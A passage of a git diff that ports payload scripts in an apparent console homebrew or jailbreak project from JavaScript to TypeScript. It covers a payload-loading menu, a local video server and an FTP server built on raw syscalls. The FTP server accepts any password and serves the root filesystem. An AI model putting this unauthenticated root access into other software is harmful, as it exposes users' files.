duration, 1) + const eased = easeInOut(t) + const scale = startScale + (endScale - startScale) * eased + + btn.scaleX = scale + btn.scaleY = scale + btn.x = btnOrigX - (btnW * (scale - 1)) / 2 + btn.y = btnOrigY - (btnH * (scale - 1)) / 2 + text.scaleX = scale + text.scaleY = scale + text.x = textOrigX - (btnW * (scale - 1)) / 2 + text.y = textOrigY - (btnH * (scale - 1)) / 2 + + if (t >= 1) { + jsmaf.clearInterval(zoomOutInterval ?? -1) + zoomOutInterval = null + } + }, step) + } + + function updateHighlight () { + // Animate out the previous button + const prevButtonObj = buttons[prevButton] + const buttonMarker = buttonMarkers[prevButton] + if (prevButton >= 0 && prevButton !== currentButton && prevButtonObj) { + prevButtonObj.url = normalButtonImg + prevButtonObj.alpha = 0.7 + prevButtonObj.borderColor = 'transparent' + prevButtonObj.borderWidth = 0 + if (buttonMarker) buttonMarker.visible = false + animateZoomOut(prevButtonObj, buttonTexts[prevButton]!, buttonOrigPos[prevButton]!.x, buttonOrigPos[prevButton]!.y, textOrigPos[prevButton]!.x, textOrigPos[prevButton]!.y) + } + + // Set styles for all buttons + for (let i = 0; i < buttons.length; i++) { + const button = buttons[i] + const buttonMarker = buttonMarkers[i] + const buttonText = buttonTexts[i] + const buttonOrigPos_ = buttonOrigPos[i] + const textOrigPos_ = textOrigPos[i] + if (button === undefined || buttonText === undefined || buttonOrigPos_ === undefined || textOrigPos_ === undefined) continue + if (i === currentButton) { + button.url = selectedButtonImg + button.alpha = 1.0 + button.borderColor = 'rgb(100,180,255)' + button.borderWidth = 3 + if (buttonMarker) buttonMarker.visible = true + animateZoomIn(button, buttonText, buttonOrigPos_.x, buttonOrigPos_.y, textOrigPos_.x, textOrigPos_.y) + } else if (i !== prevButton) { + button.url = normalButtonImg + button.alpha = 0.7 + button.borderColor = 'transparent' + button.borderWidth = 0 + button.scaleX = 1.0 + button.scaleY = 1.0 + button.x = buttonOrigPos_.x + button.y = buttonOrigPos_.y + buttonText.scaleX = 1.0 + buttonText.scaleY = 1.0 + buttonText.x = textOrigPos_.x + buttonText.y = textOrigPos_.y + if (buttonMarker) buttonMarker.visible = false + } + } + + prevButton = currentButton + } + + jsmaf.onKeyDown = function (keyCode) { + log('Key pressed: ' + keyCode) + + const fileButtonCount = fileList.length + const exitButtonIndex = buttons.length - 1 + + if (keyCode === 6) { + if (currentButton === exitButtonIndex) { + return + } + const nextButton = currentButton + buttonsPerRow + if (nextButton >= fileButtonCount) { + currentButton = exitButtonIndex + } else { + currentButton = nextButton + } + updateHighlight() + } else if (keyCode === 4) { + if (currentButton === exitButtonIndex) { + const lastRow = Math.floor((fileButtonCount - 1) / buttonsPerRow) + const firstInLastRow = lastRow * buttonsPerRow + let col = 0 + if (fileButtonCount > 0) { + col = Math.min(buttonsPerRow - 1, (fileButtonCount - 1) % buttonsPerRow) + } + currentButton = Math.min(firstInLastRow + col, fileButtonCount - 1) + } else { + const nextButton = currentButton - buttonsPerRow + if (nextButton >= 0) { + currentButton = nextButton + } + } + updateHighlight() + } else if (keyCode === 5) { + if (currentButton === exitButtonIndex) { + return + } + const row = Math.floor(currentButton / buttonsPerRow) + const col = currentButton % buttonsPerRow + if (col < buttonsPerRow - 1) { + const nextButton = currentButton + 1 + if (nextButton < fileButtonCount) { + currentButton = nextButton + } + } + updateHighlight() + } else if (keyCode === 7) { + if (currentButton === exitButtonIndex) { + currentButton = fileButtonCount - 1 + } else { + const col = currentButton % buttonsPerRow + if (col > 0) { + currentButton = currentButton - 1 + } + } + updateHighlight() + } else if (keyCode === 14) { + handleButtonPress() + } else if (keyCode === 13) { + log('Going back to main menu...') + try { + include('main-menu.js') + } catch (e) { + const err = e as Error + log('ERROR loading main-menu.js: ' + err.message) + if (err.stack) log(err.stack) + } + } + } + + function handleButtonPress () { + if (currentButton === buttons.length - 1) { + log('Going back to main menu...') + try { + include('main-menu.js') + } catch (e) { + const err = e as Error + log('ERROR loading main-menu.js: ' + err.message) + if (err.stack) log(err.stack) + } + } else if (currentButton < fileList.length) { + const selectedFile = fileList[currentButton] + if (!selectedFile) { + log('No file selected!') + return + } + const filePath = '/download0/payloads/' + selectedFile + + log('Selected: ' + selectedFile) + + try { + if (selectedFile.toLowerCase().endsWith('.js')) { + log('Including JavaScript file: ' + selectedFile) + include('payloads/' + selectedFile) + } else { + log('Loading binloader.js...') + include('binloader.js') + log('binloader.js loaded successfully') + + log('Initializing binloader...') + const { bl_load_from_file } = binloader_init() + + log('Loading payload from: ' + filePath) + + bl_load_from_file(filePath) + } + } catch (e) { + const err = e as Error + log('ERROR: ' + err.message) + if (err.stack) log(err.stack) + } + } + } + + updateHighlight() + + log('Interactive UI loaded!') + log('Total elements: ' + jsmaf.root.children.length) + log('Buttons: ' + buttons.length) + log('Use arrow keys to navigate, Enter/X to select') +})() diff --git a/src/download0/payloads/explode.js b/src/download0/payloads/explode.ts similarity index 58% rename from src/download0/payloads/explode.js rename to src/download0/payloads/explode.ts index 30e993b..e79e239 100644 --- a/src/download0/payloads/explode.js +++ b/src/download0/payloads/explode.ts @@ -1,3 +1,6 @@ +import { libc_addr } from 'download0/userland' +import { fn, BigInt, mem } from 'download0/types' + (function () { log('=== Local Video Server ===') @@ -6,57 +9,57 @@ } // Register socket syscalls - try { fn.register(97, 'socket', 'bigint') } catch (e) {} - try { fn.register(98, 'connect', 'bigint') } catch (e) {} - try { fn.register(104, 'bind', 'bigint') } catch (e) {} - try { fn.register(105, 'setsockopt', 'bigint') } catch (e) {} - try { fn.register(106, 'listen', 'bigint') } catch (e) {} - try { fn.register(30, 'accept', 'bigint') } catch (e) {} - try { fn.register(32, 'getsockname', 'bigint') } catch (e) {} - try { fn.register(3, 'read_sys', 'bigint') } catch (e) {} - try { fn.register(4, 'write_sys', 'bigint') } catch (e) {} - try { fn.register(6, 'close_sys', 'bigint') } catch (e) {} - try { fn.register(5, 'open_sys', 'bigint') } catch (e) {} - try { fn.register(93, 'select', 'bigint') } catch (e) {} - try { fn.register(134, 'shutdown', 'bigint') } catch (e) {} + fn.register(97, 'socket', ['bigint', 'bigint', 'bigint'], 'bigint') + fn.register(98, 'connect', ['bigint', 'bigint', 'bigint'], 'bigint') + fn.register(104, 'bind', ['bigint', 'bigint', 'bigint'], 'bigint') + fn.register(105, 'setsockopt', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint') + fn.register(106, 'listen', ['bigint', 'bigint'], 'bigint') + fn.register(30, 'accept', ['bigint', 'bigint', 'bigint'], 'bigint') + fn.register(32, 'getsockname', ['bigint', 'bigint', 'bigint'], 'bigint') + fn.register(3, 'read_sys', ['bigint', 'bigint', 'bigint'], 'bigint') + fn.register(4, 'write_sys', ['bigint', 'bigint', 'bigint'], 'bigint') + fn.register(6, 'close_sys', ['bigint'], 'bigint') + fn.register(5, 'open_sys', ['bigint', 'bigint', 'bigint'], 'bigint') + fn.register(93, 'select', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint') + fn.register(134, 'shutdown', ['bigint', 'bigint'], 'bigint') - var socket_sys = fn.socket - var bind_sys = fn.bind - var setsockopt_sys = fn.setsockopt - var listen_sys = fn.listen - var accept_sys = fn.accept - var getsockname_sys = fn.getsockname - var read_sys = fn.read_sys - var write_sys = fn.write_sys - var close_sys = fn.close_sys - var open_sys = fn.open_sys - var select_sys = fn.select - var shutdown_sys = fn.shutdown + const socket_sys = fn.socket + const bind_sys = fn.bind + const setsockopt_sys = fn.setsockopt + const listen_sys = fn.listen + const accept_sys = fn.accept + const getsockname_sys = fn.getsockname + const read_sys = fn.read_sys + const write_sys = fn.write_sys + const close_sys = fn.close_sys + const open_sys = fn.open_sys + const select_sys = fn.select + const shutdown_sys = fn.shutdown - var AF_INET = 2 - var SOCK_STREAM = 1 - var SOL_SOCKET = 0xFFFF - var SO_REUSEADDR = 0x4 - var O_RDONLY = 0 + const AF_INET = 2 + const SOCK_STREAM = 1 + const SOL_SOCKET = 0xFFFF + const SO_REUSEADDR = 0x4 + const O_RDONLY = 0 // ===== VIDEO CONFIGURATION ===== - var VIDEO_DIR = '/download0/vid' - var PLAYLIST_FILE = 'cat-meow.m3u8' - var SEGMENT_FILES = ['cat-meow0.ts'] + const VIDEO_DIR = '/download0/vid' + const PLAYLIST_FILE = 'cat-meow.m3u8' + const SEGMENT_FILES = ['cat-meow0.ts'] // ================================ // Create server socket log('Creating HTTP server for video files...') - var srv = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_STREAM), new BigInt(0, 0)) + const srv = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_STREAM), new BigInt(0, 0)) if (srv.lo < 0) throw new Error('Cannot create socket') // Set SO_REUSEADDR - var optval = mem.malloc(4) + const optval = mem.malloc(4) mem.view(optval).setUint32(0, 1, true) setsockopt_sys(srv, new BigInt(0, SOL_SOCKET), new BigInt(0, SO_REUSEADDR), optval, new BigInt(0, 4)) // Bind to port 0 (let OS pick) - var addr = mem.malloc(16) + const addr = mem.malloc(16) mem.view(addr).setUint8(0, 16) mem.view(addr).setUint8(1, AF_INET) mem.view(addr).setUint16(2, 0, false) // port 0 = let OS choose @@ -68,11 +71,11 @@ } // Get actual port - var actual_addr = mem.malloc(16) - var actual_len = mem.malloc(4) + const actual_addr = mem.malloc(16) + const actual_len = mem.malloc(4) mem.view(actual_len).setUint32(0, 16, true) getsockname_sys(srv, actual_addr, actual_len) - var port = mem.view(actual_addr).getUint16(2, false) + const port = mem.view(actual_addr).getUint16(2, false) // Listen if (listen_sys(srv, new BigInt(0, 5)).lo < 0) { @@ -83,14 +86,14 @@ log('HTTP server listening on port ' + port) // Store video URL separately (video.url property gets cleared by Video object) - var videoUrl = 'http://127.0.0.1:' + port + '/' + PLAYLIST_FILE + const videoUrl = 'http://127.0.0.1:' + port + '/' + PLAYLIST_FILE log('Video URL: ' + videoUrl) // Setup UI jsmaf.root.children.length = 0 // Dual video approach for seamless looping - var video1 = new Video({ + const video1 = new Video({ x: 0, y: 0, width: 1920, @@ -100,7 +103,7 @@ }) jsmaf.root.children.push(video1) - var video2 = new Video({ + const video2 = new Video({ x: 0, y: 0, width: 1920, @@ -110,12 +113,12 @@ }) jsmaf.root.children.push(video2) - var requestCount = 0 - var currentVideo = video1 - var nextVideo = video2 - var preloadStarted = false + let requestCount = 0 + let currentVideo = video1 + let nextVideo = video2 + let preloadStarted = false - function setupVideoCallbacks (video, isNext) { + function setupVideoCallbacks (video: Video, isNext: boolean) { video.onOpen = function () { log('Video ' + (isNext ? 'next' : 'current') + ' opened! Duration: ' + video.duration) } @@ -135,7 +138,7 @@ nextVideo.play() // Swap references - var temp = currentVideo + const temp = currentVideo currentVideo = nextVideo nextVideo = temp @@ -149,46 +152,46 @@ setupVideoCallbacks(video2, true) // Send HTTP response - function send_response (fd, content_type, body) { - var headers = 'HTTP/1.1 200 OK\r\n' + + function send_response (fd: number, content_type: string, body: string) { + const headers = 'HTTP/1.1 200 OK\r\n' + 'Content-Type: ' + content_type + '\r\n' + 'Content-Length: ' + body.length + '\r\n' + 'Access-Control-Allow-Origin: *\r\n' + 'Connection: close\r\n' + '\r\n' - var resp = headers + body - var buf = mem.malloc(resp.length) - for (var i = 0; i < resp.length; i++) { + const resp = headers + body + const buf = mem.malloc(resp.length) + for (let i = 0; i < resp.length; i++) { mem.view(buf).setUint8(i, resp.charCodeAt(i)) } - write_sys(fd, buf, new BigInt(0, resp.length)) + write_sys(new BigInt(fd), buf, new BigInt(0, resp.length)) } // Send binary file - function send_file (fd, filepath, content_type) { + function send_file (fd: number, filepath: string, content_type: string) { // Open file - var path_buf = mem.malloc(filepath.length + 1) - for (var i = 0; i < filepath.length; i++) { + const path_buf = mem.malloc(filepath.length + 1) + for (let i = 0; i < filepath.length; i++) { mem.view(path_buf).setUint8(i, filepath.charCodeAt(i)) } mem.view(path_buf).setUint8(filepath.length, 0) - var file_fd = open_sys(path_buf, new BigInt(0, O_RDONLY), new BigInt(0, 0)) + const file_fd = open_sys(path_buf, new BigInt(0, O_RDONLY), new BigInt(0, 0)) if (file_fd.eq(new BigInt(0xffffffff, 0xffffffff))) { log('Cannot open file: ' + filepath) - var error = 'HTTP/1.1 404 Not Found\r\nContent-Length: 9\r\n\r\nNot Found' - var error_buf = mem.malloc(error.length) - for (var i = 0; i < error.length; i++) { + const error = 'HTTP/1.1 404 Not Found\r\nContent-Length: 9\r\n\r\nNot Found' + const error_buf = mem.malloc(error.length) + for (let i = 0; i < error.length; i++) { mem.view(error_buf).setUint8(i, error.charCodeAt(i)) } - write_sys(fd, error_buf, new BigInt(0, error.length)) + write_sys(new BigInt(fd), error_buf, new BigInt(0, error.length)) return } // Read file content - var file_buf = mem.malloc(65536) - var bytes_read = read_sys(file_fd, file_buf, new BigInt(0, 65536)) + const file_buf = mem.malloc(65536) + const bytes_read = read_sys(file_fd, file_buf, new BigInt(0, 65536)) close_sys(file_fd) if (bytes_read.lo <= 0) { @@ -197,8 +200,8 @@ } // Build response string from buffer - var body = '' - for (var i = 0; i < bytes_read.lo; i++) { + let body = '' + for (let i = 0; i < bytes_read.lo; i++) { body += String.fromCharCode(mem.view(file_buf).getUint8(i)) } @@ -207,27 +210,27 @@ } // Parse request path - function get_path (buf, len) { - var req = '' - for (var i = 0; i < len && i < 1024; i++) { - var c = mem.view(buf).getUint8(i) + function get_path (buf: BigInt, len: number): string { + let req = '' + for (let i = 0; i < len && i < 1024; i++) { + const c = mem.view(buf).getUint8(i) if (c === 0) break req += String.fromCharCode(c) } - var lines = req.split('\n') + const lines = req.split('\n') if (lines.length > 0) { - var parts = lines[0].trim().split(' ') - if (parts.length >= 2) return parts[1] + const parts = lines[0]!.trim().split(' ') + if (parts.length >= 2) return parts[1]! } return '/' } - var serverRunning = true + let serverRunning = true // Prepare select() structures (reuse across calls) - var readfds = mem.malloc(128) // fd_set (128 bytes for up to 1024 fds) - var timeout = mem.malloc(16) // struct timeval + const readfds = mem.malloc(128) // fd_set (128 bytes for up to 1024 fds) + const timeout = mem.malloc(16) // struct timeval // Set timeout to 0 (poll mode) mem.view(timeout).setUint32(0, 0, true) // tv_sec = 0 mem.view(timeout).setUint32(4, 0, true) @@ -239,20 +242,20 @@ if (!serverRunning) return // Clear fd_set and set our server fd - for (var i = 0; i < 128; i++) { + for (let i = 0; i < 128; i++) { mem.view(readfds).setUint8(i, 0) } // Set the bit for our server socket fd - var fd = srv.lo - var byte_index = Math.floor(fd / 8) - var bit_index = fd % 8 - var current = mem.view(readfds).getUint8(byte_index) + const fd = srv.lo + const byte_index = Math.floor(fd / 8) + const bit_index = fd % 8 + const current = mem.view(readfds).getUint8(byte_index) mem.view(readfds).setUint8(byte_index, current | (1 << bit_index)) // Poll with select() - returns immediately - var nfds = fd + 1 - var select_ret = select_sys(new BigInt(0, nfds), readfds, new BigInt(0, 0), new BigInt(0, 0), timeout) + const nfds = fd + 1 + const select_ret = select_sys(new BigInt(0, nfds), readfds, new BigInt(0, 0), new BigInt(0, 0), timeout) // If select returns 0, no connections ready if (select_ret.lo <= 0) { @@ -260,21 +263,21 @@ } // Connection is ready, now accept() won't block - var client_addr = mem.malloc(16) - var client_len = mem.malloc(4) + const client_addr = mem.malloc(16) + const client_len = mem.malloc(4) mem.view(client_len).setUint32(0, 16, true) - var client_ret = accept_sys(srv, client_addr, client_len) - var client = client_ret instanceof BigInt ? client_ret.lo : client_ret + const client_ret = accept_sys(srv, client_addr, client_len) + const client = client_ret instanceof BigInt ? client_ret.lo : client_ret if (client >= 0) { requestCount++ - var req_buf = mem.malloc(4096) - var read_ret = read_sys(client, req_buf, new BigInt(0, 4096)) - var bytes = read_ret instanceof BigInt ? read_ret.lo : read_ret + const req_buf = mem.malloc(4096) + const read_ret = read_sys(new BigInt(client), req_buf, new BigInt(0, 4096)) + const bytes = read_ret instanceof BigInt ? read_ret.lo : read_ret if (bytes > 0) { - var path = get_path(req_buf, bytes) + const path = get_path(req_buf, bytes) log('Request #' + requestCount + ': ' + path) // Check if requesting playlist @@ -282,8 +285,8 @@ send_file(client, VIDEO_DIR + '/' + PLAYLIST_FILE, 'application/vnd.apple.mpegurl') } else { // Check if requesting any segment file - var handled = false - for (var i = 0; i < SEGMENT_FILES.length; i++) { + let handled = false + for (let i = 0; i < SEGMENT_FILES.length; i++) { if (path === '/' + SEGMENT_FILES[i] || path.indexOf('/' + SEGMENT_FILES[i]) >= 0) { send_file(client, VIDEO_DIR + '/' + SEGMENT_FILES[i], 'video/MP2T') handled = true @@ -295,8 +298,7 @@ } } } - - close_sys(client) + close_sys(new BigInt(client)) } } @@ -306,7 +308,7 @@ if (currentVideo.duration > 0 && currentVideo.elapsed > 0) { // Start preloading when 70% through current video - var threshold = currentVideo.duration * 0.7 + const threshold = currentVideo.duration * 0.7 if (!preloadStarted && currentVideo.elapsed >= threshold) { log('Preloading next video at ' + currentVideo.elapsed + 'ms...') preloadStarted = true @@ -315,7 +317,7 @@ } } - var isShuttingDown = false + let isShuttingDown = false jsmaf.onKeyDown = function (keyCode) { if (keyCode === 13 && !isShuttingDown) { // Circle - exit @@ -325,11 +327,11 @@ // Shutdown server socket (stops accepting new connections) try { - var SHUT_RDWR = 2 + const SHUT_RDWR = 2 shutdown_sys(srv, new BigInt(0, SHUT_RDWR)) log('Server socket shutdown') } catch (e) { - log('Error shutting down server: ' + e.message) + log('Error shutting down server: ' + (e as Error).message) } // Close server socket @@ -337,7 +339,7 @@ close_sys(srv) log('Server socket closed') } catch (e) { - log('Error closing server socket: ' + e.message) + log('Error closing server socket: ' + (e as Error).message) } // Close video players @@ -345,14 +347,14 @@ currentVideo.close() log('Current video closed') } catch (e) { - log('Error closing current video: ' + e.message) + log('Error closing current video: ' + (e as Error).message) } try { nextVideo.close() log('Next video closed') } catch (e) { - log('Error closing next video: ' + e.message) + log('Error closing next video: ' + (e as Error).message) } // Clear handlers @@ -362,7 +364,7 @@ log('Cleanup complete, returning to main menu in 500ms...') // Small delay to let everything settle - var cleanup_start = Date.now() + const cleanup_start = Date.now() while (Date.now() - cleanup_start < 500) { // Wait } diff --git a/src/download0/payloads/ftp-server.js b/src/download0/payloads/ftp-server.ts similarity index 58% rename from src/download0/payloads/ftp-server.js rename to src/download0/payloads/ftp-server.ts index da8a1ae..ebfc7f8 100644 --- a/src/download0/payloads/ftp-server.js +++ b/src/download0/payloads/ftp-server.ts @@ -1,99 +1,93 @@ +import { libc_addr } from 'download0/userland' +import { fn, BigInt, mem, utils } from 'download0/types' + if (typeof libc_addr === 'undefined') { include('userland.js') } jsmaf.remotePlay = true -var FTP_PORT = 0 -var FTP_ROOT = '/' -var MAX_CLIENTS = 4 -var PASV_PORT_MIN = 50000 -var PASV_PORT_MAX = 50100 +const FTP_PORT = 0 +const FTP_ROOT = '/' +const MAX_CLIENTS = 4 -try { fn.register(3, 'read', 'bigint') } catch (e) {} -try { fn.register(6, 'close', 'bigint') } catch (e) {} -try { fn.register(97, 'socket', 'bigint') } catch (e) {} -try { fn.register(104, 'bind', 'bigint') } catch (e) {} -try { fn.register(105, 'setsockopt', 'bigint') } catch (e) {} -try { fn.register(106, 'listen', 'bigint') } catch (e) {} -try { fn.register(30, 'accept', 'bigint') } catch (e) {} -try { fn.register(32, 'getsockname', 'bigint') } catch (e) {} -try { fn.register(98, 'connect', 'bigint') } catch (e) {} -try { fn.register(0xBC, 'stat', 'bigint') } catch (e) {} -try { fn.register(0x0A, 'unlink', 'bigint') } catch (e) {} -try { fn.register(0x80, 'rename', 'bigint') } catch (e) {} -try { fn.register(0x88, 'mkdir', 'bigint') } catch (e) {} -try { fn.register(0x89, 'rmdir', 'bigint') } catch (e) {} -try { fn.register(0x110, 'getdents', 'bigint') } catch (e) {} -try { fn.register(0x1DE, 'lseek', 'bigint') } catch (e) {} -var read_sys = fn.read -var write_sys = fn.write -var close_sys = fn.close -var socket_sys = fn.socket -var bind_sys = fn.bind -var accept_sys = fn.accept -var setsockopt_sys = fn.setsockopt -var getsockname_sys = fn.getsockname -var connect_sys = fn.connect -var stat_sys = fn.stat -var unlink_sys = fn.unlink -var rename_sys = fn.rename -var mkdir_sys = fn.mkdir -var rmdir_sys = fn.rmdir -var getdents_sys = fn.getdents -var lseek_sys = fn.lseek +fn.register(3, 'read', ['bigint', 'bigint', 'bigint'], 'bigint') +fn.register(4, 'write', ['bigint', 'bigint', 'bigint'], 'bigint') +fn.register(5, 'open', ['string', 'number', 'number'], 'bigint') +fn.register(6, 'close', ['bigint'], 'bigint') +fn.register(97, 'socket', ['bigint', 'bigint', 'bigint'], 'bigint') +fn.register(104, 'bind', ['bigint', 'bigint', 'bigint'], 'bigint') +fn.register(105, 'setsockopt', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint') +fn.register(106, 'listen', ['bigint', 'bigint'], 'bigint') +fn.register(30, 'accept', ['bigint', 'bigint', 'bigint'], 'bigint') +fn.register(32, 'getsockname', ['bigint', 'bigint', 'bigint'], 'bigint') +fn.register(98, 'connect', ['bigint', 'bigint', 'bigint'], 'bigint') +fn.register(0xBC, 'stat', ['string', 'bigint'], 'bigint') +fn.register(0x0A, 'unlink', ['string'], 'bigint') +fn.register(0x80, 'rename', ['string', 'string'], 'bigint') +fn.register(0x88, 'mkdir', ['string', 'number'], 'bigint') +fn.register(0x89, 'rmdir', ['string'], 'bigint') +fn.register(0x110, 'getdents', ['number', 'bigint', 'bigint'], 'bigint') +fn.register(0x1DE, 'lseek', ['number'], 'bigint') +const read_sys = fn.read +const write_sys = fn.write +const open_sys = fn.open +const close_sys = fn.close +const socket_sys = fn.socket +const bind_sys = fn.bind +const accept_sys = fn.accept +const setsockopt_sys = fn.setsockopt +const getsockname_sys = fn.getsockname +const connect_sys = fn.connect +const stat_sys = fn.stat +const unlink_sys = fn.unlink +const rename_sys = fn.rename +const mkdir_sys = fn.mkdir +const rmdir_sys = fn.rmdir +const getdents_sys = fn.getdents -var listen_sys = fn.listen +const listen_sys = fn.listen -var AF_INET = 2 -var SOCK_STREAM = 1 -var SOL_SOCKET = 0xFFFF -var SO_REUSEADDR = 0x4 +const AF_INET = 2 +const SOCK_STREAM = 1 +const SOL_SOCKET = 0xFFFF +const SO_REUSEADDR = 0x4 -var O_RDONLY = 0x0000 -var O_WRONLY = 0x0001 -var O_RDWR = 0x0002 -var O_CREAT = 0x0200 -var O_TRUNC = 0x0400 +const O_RDONLY = 0x0000 +const O_WRONLY = 0x0001 +const O_CREAT = 0x0200 -var S_IFMT = 0xF000 -var S_IFDIR = 0x4000 -var S_IFREG = 0x8000 - -var current_pasv_port = PASV_PORT_MIN -var rename_from = null +const S_IFMT = 0xF000 +const S_IFDIR = 0x4000 +const S_IFREG = 0x8000 function get_local_ip () { try { - var SOCK_DGRAM = 2 - var udp_fd = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_DGRAM), new BigInt(0, 0)) + const SOCK_DGRAM = 2 + const udp_fd = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_DGRAM), new BigInt(0, 0)) - if (udp_fd instanceof BigInt) { - udp_fd = udp_fd.lo - } - - if (udp_fd < 0) { + if (udp_fd.lt(0)) { return '0.0.0.0' } - var remote_addr = mem.malloc(16) + const remote_addr = mem.malloc(16) mem.view(remote_addr).setUint8(1, AF_INET) mem.view(remote_addr).setUint16(2, htons(53), false) mem.view(remote_addr).setUint32(4, 0x08080808, false) connect_sys(udp_fd, remote_addr, new BigInt(0, 16)) - var local_addr = mem.malloc(16) - var addrlen = mem.malloc(4) + const local_addr = mem.malloc(16) + const addrlen = mem.malloc(4) mem.view(addrlen).setUint32(0, 16, true) - var ret = getsockname_sys(udp_fd, local_addr, addrlen) + const ret = getsockname_sys(udp_fd, local_addr, addrlen) close_sys(udp_fd) - if (!ret || ret === 0 || (ret instanceof BigInt && ret.eq(new BigInt(0, 0)))) { - var ip_addr = mem.view(local_addr).getUint32(4, false) - var ip_bytes = [ + if (!ret || ret.eq(0) || (ret instanceof BigInt && ret.eq(new BigInt(0, 0)))) { + const ip_addr = mem.view(local_addr).getUint32(4, false) + const ip_bytes = [ (ip_addr >> 24) & 0xFF, (ip_addr >> 16) & 0xFF, (ip_addr >> 8) & 0xFF, @@ -108,22 +102,12 @@ function get_local_ip () { } } -function aton (ip_str) { - var parts = ip_str.split('.') - var result = 0 - result |= (parseInt(parts[0]) << 24) - result |= (parseInt(parts[1]) << 16) - result |= (parseInt(parts[2]) << 8) - result |= parseInt(parts[3]) - return result -} - -function htons (port) { +function htons (port: number) { return ((port & 0xFF) << 8) | ((port >> 8) & 0xFF) } function new_tcp_socket () { - var sd = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_STREAM), new BigInt(0, 0)) + const sd = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_STREAM), new BigInt(0, 0)) if (sd instanceof BigInt) { if (sd.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { @@ -139,11 +123,11 @@ function new_tcp_socket () { return sd } -function send_response (client_fd, code, message) { - var response = code + ' ' + message + '\r\n' +function send_response (client_fd: BigInt, code: string, message: string) { + const response = code + ' ' + message + '\r\n' - var buf = mem.malloc(response.length + 1) - for (var i = 0; i < response.length; i++) { + const buf = mem.malloc(response.length + 1) + for (let i = 0; i < response.length; i++) { mem.view(buf).setUint8(i, response.charCodeAt(i)) } mem.view(buf).setUint8(response.length, 0) @@ -151,24 +135,22 @@ function send_response (client_fd, code, message) { write_sys(client_fd, buf, new BigInt(0, response.length)) } -function read_line (client_fd) { - var buf = mem.malloc(1024) - var line = '' - var total = 0 +function read_line (client_fd: BigInt) { + const buf = mem.malloc(1024) + let line = '' + let total = 0 while (total < 1023) { - var ret = read_sys(client_fd, buf.add(new BigInt(0, total)), new BigInt(0, 1)) + const ret = read_sys(client_fd, buf.add(new BigInt(0, total)), new BigInt(0, 1)) if (ret instanceof BigInt) { if (ret.eq(new BigInt(0, 0)) || ret.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { break } - ret = ret.lo + if (ret.lte(0)) break } - if (ret <= 0) break - - var ch = mem.view(buf).getUint8(total) + const ch = mem.view(buf).getUint8(total) total++ if (ch === 10) break @@ -180,8 +162,8 @@ function read_line (client_fd) { return line } -function build_path (base, path) { - var result +function build_path (base: string, path: string) { + let result if (path.charAt(0) === '/') { result = FTP_ROOT + path } else { @@ -201,8 +183,8 @@ function build_path (base, path) { return result } -function format_file_mode (mode) { - var str = '' +function format_file_mode (mode: number) { + let str = '' if ((mode & S_IFMT) === S_IFDIR) { str += 'd' @@ -224,51 +206,51 @@ function format_file_mode (mode) { } function create_pasv_socket () { - var data_fd = new_tcp_socket() + const data_fd = new_tcp_socket() - var enable = mem.malloc(4) + const enable = mem.malloc(4) mem.view(enable).setUint32(0, 1, true) - setsockopt_sys(data_fd, new BigInt(0, SOL_SOCKET), new BigInt(0, SO_REUSEADDR), enable, new BigInt(0, 4)) + setsockopt_sys(new BigInt(data_fd), new BigInt(0, SOL_SOCKET), new BigInt(0, SO_REUSEADDR), enable, new BigInt(0, 4)) - var data_addr = mem.malloc(16) + const data_addr = mem.malloc(16) mem.view(data_addr).setUint8(1, AF_INET) mem.view(data_addr).setUint16(2, 0, false) mem.view(data_addr).setUint32(4, 0, false) - var ret = bind_sys(data_fd, data_addr, new BigInt(0, 16)) + let ret = bind_sys(new BigInt(data_fd), data_addr, new BigInt(0, 16)) if (ret instanceof BigInt && ret.lo !== 0 && ret.hi !== 0xFFFFFFFF) { - close_sys(data_fd) + close_sys(new BigInt(data_fd)) return null } - ret = listen_sys(data_fd, new BigInt(0, 1)) + ret = listen_sys(new BigInt(data_fd), new BigInt(0, 1)) if (ret instanceof BigInt && ret.lo !== 0 && ret.hi !== 0xFFFFFFFF) { - close_sys(data_fd) + close_sys(new BigInt(data_fd)) return null } - var actual_addr = mem.malloc(16) - var addrlen = mem.malloc(4) + const actual_addr = mem.malloc(16) + const addrlen = mem.malloc(4) mem.view(addrlen).setUint32(0, 16, true) - ret = getsockname_sys(data_fd, actual_addr, addrlen) + ret = getsockname_sys(new BigInt(data_fd), actual_addr, addrlen) if (ret instanceof BigInt && ret.lo !== 0 && ret.hi !== 0xFFFFFFFF) { - close_sys(data_fd) + close_sys(new BigInt(data_fd)) return null } - var actual_port = mem.view(actual_addr).getUint16(2, false) + const actual_port = mem.view(actual_addr).getUint16(2, false) return { fd: data_fd, port: actual_port } } -function accept_data_connection (pasv_fd) { +function accept_data_connection (pasv_fd: number) { log('[FTP] accept_data_connection: waiting on pasv_fd=' + pasv_fd) - var client_ret = accept_sys(pasv_fd, new BigInt(0, 0), new BigInt(0, 0)) + const client_ret = accept_sys(new BigInt(pasv_fd), new BigInt(0, 0), new BigInt(0, 0)) log('[FTP] accept_sys returned: ' + (client_ret instanceof BigInt ? client_ret.toString() : client_ret)) // Check for error: -1 as BigInt is 0xFFFFFFFF:0xFFFFFFFF - var client_fd + let client_fd: number if (client_ret instanceof BigInt) { if (client_ret.hi === 0xFFFFFFFF || client_ret.lo >= 0x80000000) { log('[FTP] accept_data_connection: FAILED (BigInt error)') @@ -287,23 +269,31 @@ function accept_data_connection (pasv_fd) { return client_fd } -function handle_user (client_fd, args, state) { +type State = { + cwd: string, + type: string, + pasv_fd: number, + pasv_port: number, + rename_from: string | null +} + +function handle_user (client_fd: BigInt, args: string, state: State) { send_response(client_fd, '331', 'Username OK, any password accepted') } -function handle_pass (client_fd, args, state) { +function handle_pass (client_fd: BigInt, args: string, state: State) { send_response(client_fd, '230', 'Login successful') } -function handle_syst (client_fd, args, state) { +function handle_syst (client_fd: BigInt, args: string, state: State) { send_response(client_fd, '215', 'UNIX Type: L8') } -function handle_pwd (client_fd, args, state) { +function handle_pwd 